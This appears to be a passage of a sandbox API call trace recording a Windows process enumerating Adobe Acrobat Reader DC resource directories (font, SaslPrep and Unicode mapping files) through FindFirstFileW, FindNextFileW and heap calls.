cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0265.190] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0265.190] GetProcessHeap () returned 0xc10000 [0265.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0265.191] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0265.191] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0265.191] GetProcessHeap () returned 0xc10000 [0265.191] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.191] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0265.191] GetProcessHeap () returned 0xc10000 [0265.191] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0265.193] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.193] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0265.193] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0 [0265.193] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0265.193] GetProcessHeap () returned 0xc10000 [0265.194] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.194] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0265.194] GetProcessHeap () returned 0xc10000 [0265.194] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0265.194] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.194] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0265.195] GetProcessHeap () returned 0xc10000 [0265.195] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0265.195] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.195] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0265.195] GetProcessHeap () returned 0xc10000 [0265.195] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0265.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0265.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0265.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0 [0265.197] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0265.197] GetProcessHeap () returned 0xc10000 [0265.197] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0265.198] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0265.198] GetProcessHeap () returned 0xc10000 [0265.198] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0265.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0265.198] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.198] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0265.198] GetProcessHeap () returned 0xc10000 [0265.198] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0265.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0265.200] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.200] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea2858f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x29f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0265.200] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0265.200] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 0 [0265.200] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0265.201] GetProcessHeap () returned 0xc10000 [0265.201] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0265.201] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0265.201] GetProcessHeap () returned 0xc10000 [0265.201] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0265.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0265.225] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.225] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea74a4e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3277, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0265.225] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0265.225] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x34d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeac0ed3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x345b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeae7122, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x340e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x383a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x39ab, dwReserved0=0x0, 